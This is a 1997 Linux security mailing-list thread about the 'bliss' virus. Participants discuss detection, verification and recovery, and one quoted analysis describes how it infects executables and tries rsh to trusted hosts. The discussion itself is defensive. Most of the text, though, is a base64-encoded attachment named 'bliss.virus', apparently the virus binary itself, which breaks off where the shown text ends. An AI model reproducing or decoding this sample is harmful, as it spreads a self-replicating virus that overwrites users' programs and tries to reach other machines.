linux security - Jan 1997 - Linux virus

ugh :)

Today I became infected with the bliss virus, any info on this would be
appreciated!  How do I scan for files infected and is it possible to
remove it?  I first noticed the infection when running a program (not as
root) messages flashed on the screen about transversing directories and
such.  The program (gimp) had been working fine since I downloaded the
binary for gimp from their main site.  The gimp people told me they have
not been receiving complaints their binaries are infected, so something
else must be the source.

Here are a few lines from the infected file:

infected by bliss %.8x: %.8x
^@a^@%d %.8x %s/%s
^@%s.bliss-tmp.%d^@%s already infected (%.8x)
^@skipping, infected with same vers or different type
^@replacing older version
^@replacing ourselves with newer version
^@/^@dir: %s, file: %s, new size: %d
^@infecting: %s, %d bytes
^@infect() returning success
^@been to %s already!
^@.^@..^@traversing %s
^@our size is %d!
^@copy() returning success
^@copy() returning failure
^@disinfecting: %s
^@%s: not infected
^@couldn''t malloc %d bytes, skipping %s
^@couldn''t read() all %d bytes
^@read %d bytes
^@happy_commit() failed, skipping %s
^@couldn''t write() all %d bytes, hope you had backups!


I am presently using this to scan for it in my home dir:

grep infected /home/peter/**/*(xD/)

Any help would be great!!!

Rgds,

Peter.

[mod: It looks as if lots of debugging strings are still in the binary.
Odd that this "debugging version" would be in the wild.
Peter, can you verify that it indeed is a virus? Unless it knows of
ways to become root, you should be safe if you add a new user-account,
place an infected binary and a few uninfected binaries in that users
account. Make sure that you have an unmodified version available for
comparison.
On one hand I don''t like to approve this until Peter has verified this,
but on the other hand if there is really a linux-virus on the loose, you
all would like to hear about it ASAP right? -- REW]

> Today I became infected with the bliss virus, any info on this would be
> appreciated!  How do I scan for files infected and is it possible to
News to me.
> Here are a few lines from the infected file:
> infected by bliss %.8x: %.8x
> ^@a^@%d %.8x %s/%s
> ^@%s.bliss-tmp.%d^@%s already infected (%.8x)
> ^@skipping, infected with same vers or different type
Provide the actual binary itself with a warning to cert@cert.org. That way
people can inspect it to see if you aren''t just a hoax. In theory you
can write a virus for any OS if the owner is dumb enough to install
unchecked binaries as root.

You''ll notice good distributions use signatures on their packages and
have verify facilities so you can check binaries are valid.

Alan

> On one hand I don''t like to approve this until Peter has verified
this,
> but on the other hand if there is really a linux-virus on the loose, you
> all would like to hear about it ASAP right? -- REW]
I don''t know about anybody else, but I would.  I was under the
impression
that *nix didn''t/couldn''t HAVE viri.  Is this a new
development, or have I
been blissfully ignorant all this time?

Bud Rogers <budr@tanet.net>

[Mod: Unix viruses are possible and they do exist. The most famous one if I
remember correctly was designed by Tompson(? Don''t quote me on the
name) to
infect cc and login programs in Bell Labs. The virus never made it to
outside world -- alex]

> Today I became infected with the bliss virus, any info on this would be
 > appreciated!  How do I scan for files infected and is it possible to
 >  [...]
 >
 > I am presently using this to scan for it in my home dir:
 >
 > grep infected /home/peter/**/*(xD/)

Be advised that you should go to substantial pains to make sure your
grep (not to mention your shell) isn''t infected before you do this.
Otherwise you may just infect everything. Also it''s wise to assume it
knows how to hack root. Be safe and boot from a rescue disk.

Since its strings contain "disinfecting" it might well be a
"stealth"
virus, in which case you can''t reliably tell if a binary is infected
if you''re using an infected binary to investigate.

Assuming of course that it''s not a false alarm.

--
   - David A. Holland             |    VINO project home page:
     dholland@eecs.harvard.edu    | http://www.eecs.harvard.edu/vino

This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--0-337793865-854998571=:8625
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 31 Jan 1997, Peter wrote:
> Today I became infected with the bliss virus, any info on this would be
> appreciated!  How do I scan for files infected and is it possible to
Someone sent me a copy of this quite a while back.  Here''s an
excerpt from a news posting about it.  I''ve attached the binary
to this e-mail.

Todd Burroughs



: Well, I couldn''t resist ;)
: Believing in my own system I sued to nobody and did an strace -f and
: a strings on the binary. It crashed shortly after probing some directories
: and files, and tries to do some rsh''s on host.equiv trusted clients
: (we dont use rsh, just ssh, so it failed )

: Here''s the trace:
[...cut...]
: Here''s the strings output:
[...cut...]

: Anyone who finds out more, please let me know. I''d like to know
: what it does, now that my curiosity has been aroused ;)


I too ran it as ''nobody'' and as yourself, watched it fail to
do anything and
then get stuck when it couldn''t use ''rsh'' (we use ssh
too)

So... being of curious nature, I tried it out, on a disposable system, running
it as root.


It''s behaviour is as follows.

For each directory in your $PATH, whip through it randomly picking excecutable
files (not just binaries) and prepend the ''bliss'' binary to
them. Then when
they are execed, the same thing happends.


/bin/ls got hit fairly early on, so it spread pretty fast, doing about 10-20
binaries a minute.

The files ''infected'' ;
a) grow by 17892 bytes
b) lose all of there original functionality
c) retain date/time stamp data
d) retain file permissions
e) are logged to /tmp/.bliss

Links are destroyed.


The ''rsh'' part it pretty basic. The routine is titled
''do_worm_stuff'', but
that would appear to be a solid case of self aggrandisement, as all it
does (worm wise) is go through the hosts.equiv and .rhosts and try to
''rsh'' to each of those machines as each of the users in
/etc/passwd.
A pretty unlikely scenario as nobody in their right mind is going to
use hosts.equiv nowadays.


Disinfection of the test machine was pretty simple, because of the log of
infected files is available. Simply a case of ''cat''ing new
copies of the
binaries into the infected ones, and then adding back any set[ug]id bits that
have been lost.

If you do get infected, remember
0) do not log any more sessions in.
1) disconnect the network card
2) kill all non-essential processes (killall5 if it''s still OK)
3) replace all the binaries in /tmp/.bliss

You could probably script the last one, but it''s probably a bit
dangerous to
do so.

I still haven''t firgured out the reference in the
''strings'' output to
/usr/lib/news and /var/spool/news. As far as I can see, no files were
created or changed in those directories (apart from the news system binaries)

(nothing was added to the mail spool either)

--0-337793865-854998571=:8625
Content-Type: APPLICATION/octet-stream; name="bliss.virus"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSI.3.95.970203143611.8625B@globalserve.net>
Content-Description:

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
CgQAABIAAADHAQAA8LgECAAAAAASAAoAzQEAAEiQBAgAAAAAIgAAANkBAABY
kAQIJgAAACIAAADhAQAAaJAECDQAAAASAAAA6AEAAHiQBAgAAAAAIgAAAO8B
AADkzwQIAAAAABEA8f8FAgAAiJAECIAAAAASAAAACgIAAJiQBAg+AAAAEgAA
ABUCAACokAQI8gIAABIAAAAeAgAAuJAECAAAAAAiAAAAIwIAAMiQBAgAAAAA
IgAAACkCAADYkAQIbQEAABIAAAAwAgAA6JAECAAAAAAiAAAANwIAAPiQBAgA
AAAAIgAAAD0CAAAIkQQIAAAAACIAAABCAgAAhNEECAQAAAARABEASQIAAOi4
BAgAAAAAEQDx/1ACAACA0QQIAAAAABEA8f9XAgAAgNEECAAAAAARAPH/YwIA
AMPZBAgAAAAAEQDx/wBsaWJjLnNvLjUAc3RyY3B5AGlvY3RsAHBvcGVuAHBy
aW50ZgB1dGltZQBnZXRldWlkAHBjbG9zZQBfRFlOQU1JQwBfX2N0eXBlX2IA
Z2V0ZW52AGVycm5vAGdldGVnaWQAX19zdHJ0b2xfaW50ZXJuYWwAZ2V0cGlk
AGZzY2FuZgBmZ2V0cwBwZXJyb3IAcHV0cwBtYWxsb2MAZW5kcHdlbnQAc2xl
ZXAAcmVhZGRpcgBfbHhzdGF0AGZ0cnVuY2F0ZQByZWFscGF0aABsc2VlawBf
X2Vudmlyb24AY2htb2QAX2luaXQAYWxhcm0AX19saWJjX2luaXQAcmVuYW1l
AHN0cnJjaHIAd3JpdGUAZW52aXJvbgBmcHJpbnRmAHNldHB3ZW50AGN0aW1l
AHN0cmNhdABjaGRpcgBfX2ZwdV9jb250cm9sAHdhaXQAdW1hc2sAc3Ryc3Ry
AHNldGdpZABzaWduYWwAcmVhZABzdHJuY21wAHVubGluawByZWFsbG9jAHN0
cnRvawBmb3JrAHNzY2FuZgBleGVjdgBmb3BlbgBmY2xvc2UAdGltZQBvcGVu
ZGlyAHN0cmNtcABnZXRjd2QAX2ZpbmkAZ2V0aG9zdG5hbWUAc3ByaW50ZgBh
dGV4aXQAZndyaXRlAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBleGl0AF9fc2V0
ZnB1Y3cAZ2V0cHdlbnQAb3BlbgBmcHV0cwBleGVjdnAAc2V0dWlkAGNsb3Nl
AGZyZWUAX2Vycm5vAF9ldGV4dABfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZACA
0QQIBQkAAIjRBAgFKQAAhNEECAVMAADwzwQIBwEAAPTPBAgHAgAA+M8ECAcD
AAD8zwQIBwQAAADQBAgHBQAABNAECAcGAAAI0AQIBwcAAAzQBAgHCgAAENAE
CAcMAAAU0AQIBw0AABjQBAgHDgAAHNAECAcPAAAg0AQIBxAAACTQBAgHEQAA
KNAECAcSAAAs0AQIBxMAADDQBAgHFAAANNAECAcVAAA40AQIBxYAADzQBAgH
FwAAQNAECAcYAABE0AQIBxkAAEjQBAgHGgAATNAECAccAABQ0AQIBx4AAFTQ
BAgHHwAAWNAECAcgAABc0AQIByEAAGDQBAgHIgAAZNAECAckAABo0AQIByUA
AGzQBAgHJgAAcNAECAcnAAB00AQIBygAAHjQBAgHKgAAfNAECAcrAACA0AQI
BywAAITQBAgHLQAAiNAECAcuAACM0AQIBy8AAJDQBAgHMAAAlNAECAcxAACY
0AQIBzIAAJzQBAgHMwAAoNAECAc0AACk0AQIBzUAAKjQBAgHNgAArNAECAc3
AACw0AQIBzgAALTQBAgHOQAAuNAECAc6AAC80AQIBzsAAMDQBAgHPAAAxNAE
CAc+AADI0AQIBz8AAMzQBAgHQAAA0NAECAdBAADU0AQIB0MAANjQBAgHRAAA
3NAECAdFAADg0AQIB0YAAOTQBAgHRwAA6NAECAdIAADs0AQIB0kAAPDQBAgH
SgAA9NAECAdLAADo3ysAAMIAAP816M8ECP8l7M8ECAAAAAD/JfDPBAhoAAAA
AOng/////yX0zwQIaAgAAADp0P////8l+M8ECGgQAAAA6cD/////JfzPBAho
GAAAAOmw/////yUA0AQIaCAAAADpoP////8lBNAECGgoAAAA6ZD/////JQjQ
BAhoMAAAAOmA/////yUM0AQIaDgAAADpcP////8lENAECGhAAAAA6WD/////
JRTQBAhoSAAAAOlQ/////yUY0AQIaFAAAADpQP////8lHNAECGhYAAAA6TD/
////JSDQBAhoYAAAAOkg/////yUk0AQIaGgAAADpEP////8lKNAECGhwAAAA
6QD/////JSzQBAhoeAAAAOnw/v///yUw0AQIaIAAAADp4P7///8lNNAECGiI
AAAA6dD+////JTjQBAhokAAAAOnA/v///yU80AQIaJgAAADpsP7///8lQNAE
CGigAAAA6aD+////JUTQBAhoqAAAAOmQ/v///yVI0AQIaLAAAADpgP7///8l
TNAECGi4AAAA6XD+////JVDQBAhowAAAAOlg/v///yVU0AQIaMgAAADpUP7/
//8lWNAECGjQAAAA6UD+////JVzQBAho2AAAAOkw/v///yVg0AQIaOAAAADp
IP7///8lZNAECGjoAAAA6RD+////JWjQBAho8AAAAOkA/v///yVs0AQIaPgA
AADp8P3///8lcNAECGgAAQAA6eD9////JXTQBAhoCAEAAOnQ/f///yV40AQI
aBABAADpwP3///8lfNAECGgYAQAA6bD9////JYDQBAhoIAEAAOmg/f///yWE
0AQIaCgBAADpkP3///8liNAECGgwAQAA6YD9////JYzQBAhoOAEAAOlw/f//
/yWQ0AQIaEABAADpYP3///8llNAECGhIAQAA6VD9////JZjQBAhoUAEAAOlA
/f///yWc0AQIaFgBAADpMP3///8loNAECGhgAQAA6SD9////JaTQBAhoaAEA
AOkQ/f///yWo0AQIaHABAADpAP3///8lrNAECGh4AQAA6fD8////JbDQBAho
gAEAAOng/P///yW00AQIaIgBAADp0Pz///8luNAECGiQAQAA6cD8////JbzQ
BAhomAEAAOmw/P///yXA0AQIaKABAADpoPz///8lxNAECGioAQAA6ZD8////
JcjQBAhosAEAAOmA/P///yXM0AQIaLgBAADpcPz///8l0NAECGjAAQAA6WD8
////JdTQBAhoyAEAAOlQ/P///yXY0AQIaNABAADpQPz///8l3NAECGjYAQAA
6TD8////JeDQBAho4AEAAOkg/P///yXk0AQIaOgBAADpEPz///8l6NAECGjw
AQAA6QD8////JezQBAho+AEAAOnw+////yXw0AQIaAACAADp4Pv///8l9NAE
CGgIAgAA6dD7//8AAAAAAAAAAFmJ44ngicoB0gHSAdCDwAQx7VVVVYnlUFNR
uIgAAAC7AAAAAM2Ai0QkCKOQzwQID7cFiNEECFDoPP///4PEBOgk/f//aPC4
BAjo+v7//4PEBOhq+///6DUgAABQ6Af///9bjbQmAAAAAI20JgAAAAC4AQAA
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
FZTVBAiLhpwEAABQUouGjAQAAFDos/b//4kdoM8ECKHIzwQIUFNoV7kECGic
2QQI6If3//+DxCiDvpQEAAAAdBaLhgAEAABQi4YEBAAAUOio9f//g8QIi4Ys
BAAAiUX4i4Y0BAAAiUX8jV34U4uGAAQAAFDoI/T//w+3hhQEAABQi4YABAAA
UOg/9f//g8QQg76kBAAAAHQljYakBAAAUGgCZgRAi4aMBAAAUOi78///x4ak
BAAAAAAAAIPEDIuGjAQAAFDokvf//4uGkAQAAIPEBDmGjAQAAHQJUOh79///
g8QEg76UBAAAAHQci4ZsBAAAiUX4i4Z0BAAAiUX8U1bolvP//4PECMeGkAQA
AP/////HhowEAAD/////agChmNkECFBoKboECGiY1QQIjZ34+///U+j59///
aIzRBAhT6Gb0//9qL2iM0QQI6Lr0//+JhgAEAADGAACDxCRojNEECFbo8/L/
/4uGAAQAAMYAL8eGAAQAAIzRBAiNhgwEAACDxAhQaIzRBAhqAej68///g8QM
Vuj59///agCLhpwEAABQi4aMBAAAUOgM9P//i4YgBAAAg8AmKwXIzwQIiYYg
BAAAi4acBAAAo8jPBAhQi4YABAAAUFZoK7oECOip8v//g8Qgg76MBAAA/w+E
LgEAAP8NqM8ECIuGIAQAAFCLhgAEAABQaEy6BAjoe/L//4uGIAQAAFDoL/P/
/4nCiZYIBAAAg8QQhdIPhQQBAACDvpQEAAAAdBaLhgAEAABQi4YEBAAAUOiw
8///g8QIi4YsBAAAiYX4+///i4Y0BAAAiYX8+///jZ34+///U4uGAAQAAFDo
IvL//w+3hhQEAABQi4YABAAAUOg+8///g8QQg76kBAAAAHQljYakBAAAUGgC
ZgRAi4aMBAAAUOi68f//x4akBAAAAAAAAIPEDIuGjAQAAFDokfX//4uGkAQA
AIPEBDmGjAQAAHQJUOh69f//g8QEg76UBAAAAHQfi4ZsBAAAiYX4+///i4Z0
BAAAiYX8+///U1boj/H//8eGkAQAAP/////HhowEAAD/////uAEAAADpTQMA
AI02jbQmAAAAAIuGIAQAAFBSi4aMBAAAUOiE8///agBqAIuGkAQAAFDoZPL/
/4PEGIO+lAQAAAAPhJwAAAAwwIu+AAQAAPy5//////Kuicj30IPAD1Dox/H/
/4mGBAQAAOhs8f//UIuGAAQAAFBoh7kECIuGBAQAAFDoE/T//4uGjAQAAFDo
p/T//w+3hhQEAABQakKLhgQEAABQ6FH0//+JhpAEAACDxCSD+P91K4uGBAQA
AFDoB/P//4uGBAQAAFDoe/T//7gBAAAAg8QI6wuNNo20JgAAAAAxwIP4AQ+F
FQEAAIO+lAQAAAB0FouGAAQAAFCLhgQEAABQ6NHx//+DxAiLhiwEAACJhfj7
//+LhjQEAACJhfz7//+Nnfj7//9Ti4YABAAAUOhD8P//D7eGFAQAAFCLhgAE
AABQ6F/x//+DxBCDvqQEAAAAdCWNhqQEAABQaAJmBECLhowEAABQ6Nvv///H
hqQEAAAAAAAAg8QMi4aMBAAAUOiy8///i4aQBAAAg8QEOYaMBAAAdAlQ6Jvz
//+DxASDvpQEAAAAdCKLhmwEAACJhfj7//+LhnQEAACJhfz7//9TVuiw7///
g8QIx4aQBAAA/////8eGjAQAAP////+LhggEAABQ6F3z//+4AQAAAOlfAQAA
jXQmAI20JgAAAAChyM8ECFChlNUECFCLhpAEAABQ6ODw//+LhiAEAABQi4YI
BAAAUIuGkAQAAFDoxvD//2omaJzZBAiLhpAEAABQ6LPw//+DxCSDvpQEAAAA
dBaLhgAEAABQi4YEBAAAUOh08P//g8QIi4YsBAAAiYX4+///i4Y0BAAAiYX8
+///jZ34+///U4uGAAQAAFDo5u7//w+3hhQEAABQi4YABAAAUOgC8P//g8QQ
g76kBAAAAHQljYakBAAAUGgCZgRAi4aMBAAAUOh+7v//x4akBAAAAAAAAIPE
DIuGjAQAAFDoVfL//4uGkAQAAIPEBDmGjAQAAHQJUOg+8v//g8QEg76UBAAA
AHQii4ZsBAAAiYX4+///i4Z0BAAAiYX8+///U1boU+7//4PECMeGkAQAAP//
///HhowEAAD/////i4YIBAAAUOgA8v//aGW6BAjoFu7//zHAjaXs+///W15f
iexdw+sNkJCQkJCQkJCQkJCQkFWJ5YHsaA0AAFdWU4t1CMeFqPL//wAAAADH
haTy//8AAAAAobDPBAj/DbDPBAiFwH8OagDoH/H//420JgAAAABoAAQAAI2d
WPf//4mdmPL//1PosfD//1boe+///4nCg8QMg/r/dBhoAAQAAI29WPv//1fo
kPD//4PECIXAdRGLhZjy//9Q6E3v///pIAQAADH2i52o8v//OR2Q1QQID47W
AAAAib2Y8v//jTaLFYzVBAiAPBYAD4S+AAAAi4WY8v//UAHyiZWc8v//Uugn
8P//icKDxAiF0nV2ixWM1QQIAfKJ1zDA/Ln/////8q730YmNnPL//41UCv+L
WgGJnaTy///2RQwBdAn2wwEPhA4BAAD2RQwCdQ6LhaTy//+oAg+F6gAAAIud
mPL//1NogboECOjB7P//jYVY9///6UP///+NtCYAAAAAjbQmAAAAAIs9jNUE
CAH3MMD8uf/////yrvfRiY2c8v//jXQOBDk1kNUECA+PMv///42dWPv//4md
mPL//zDSi72Y8v//iND8uf/////yrvfRic6DxgSLHZDVBAgB81OhjNUECFDo
te7//4nCiRWM1QQIg8QIhdJ1DmoA6I/v//+NtCYAAAAAi52Y8v//UwMVkNUE
CImVnPL//1Lo3+v//4pFDIsdjNUECIhEHvwBNZDVBAiDxAiLRQyoEHQsMcDp
pQIAAI12AIudpPL//4Dj/IlaAesUjTaLhaTy//8MAYlCAYCNpPL//wholroE
COis7v//iYWs8v//g8QEhcB1F42FWPf//+kx/v//jbYAAAAAjbYAAAAAjZ1Y
+///iZ2g8v//jYWw8v//iYWY8v//i52s8v//U+hk7P//icKDxASF0g+E7wEA
AKHMzwQIhcAPheIBAACDPajPBAgAD47VAQAAi4Wo8v//OQWszwQID47DAQAA
g8IKiZVY////jYVk////UFJqAegj7P//g8QMixW4zwQIhdJ0CDmVeP///3yO
9kUMAXR89oVt////QHRXi7VY////v5a6BAi5AgAAAPyoAPOmdECLtVj///+/
mLoECLkDAAAA/KgA86Z0KYudWP///1Nom7oECOjA6v//i0UMUIudWP///1Po
uPz//4PEEOko////9oWk8v//CHQT9kUMAXQN9oVt////QA+EDP////ZFDAJ0
G/aFbf///wgPhPn+//9mg71w////AA+F6/7///aFpPL//wJ0F/aFbf///wh0
DmaDvXD///8AD4TL/v//ZouFbP///2YlQIBmPUCAD4W2/v//i4Wg8v//UOji
8///icKDxASF0g+FhQAAAIu9mPL//4u1oPL///y5KgEAAPOlixXEzwQIhdJ0
Z4A6AHRiagDo8+v//w+3+Gh2uQQIocTPBAhQ6KDs//+JxoPEDIX2dDaLnbD2
//9Ti4WY8v//UIsdoM8ECFNqAOib7P//g8QEicJSaHi5BAhW6Err//9W6HTs
//+DxBxX6Jvr//+DxAT/hajy//+htM8ECFDoZ+r//4PEBOn//f//jbQmAAAA
AI2FWPf//1DoTOv//4PEBKHMzwQIhcB1CYM9qM8ECAB/D2oA6LDs//+QjbQm
AAAAADHAjaWM8v//W15fiexdw5BVieWB7KwUAABXVlOLXQzHhVTr//8AAAAA
agCLTQhR6KTs//+JxoPECIP+/3USuP/////pOAEAAJCNtCYAAAAAaP8BAABo
QQIAAFPoeOz//4nHg8QMg///D4TiAAAAi00IiY1Y7///ibXk7///jYVY6///
UOhn7///i4X07///o8jPBAhQaKq6BAjoqej//4PEDKHIzwQIhcAPhKEAAABQ
6FPp//+JwotNEIkRg8QEhdIPhIkAAAChyM8ECFBSVui06v//g8QMOQXIzwQI
dXGNnQDw//+NdgBoABAAAFNW6JTq//+DxAyFwHQlg/j/dFBQU1fo0On//4PE
DIP4/3RA69aNtCYAAAAAjbQmAAAAAGi7ugQI6B7o//+DxARW6OXr//9X6N/r
//+LhVTr///rP+sNkJCQkJCQkJCQkJCQkGjVugQI6O7n///HhVTr////////
i00QiwFQ6Lnr//+DxAjruY22AAAAAI22AAAAAI2lSOv//1teX4nsXcONdgBV
ieWB7LAEAABXU4tFCImFWP///1Bo77oECOiZ5///i5VY////jYVk////g8QI
UFJqAeiB6P//g8QMjb1Y+///V+h67P//g8QEg33k/3URi4VY////UOj95///
6X4DAABX6Prt//+DxASFwHUji4VY////UGgBuwQI6Drn//+DxAjplAIAAI12
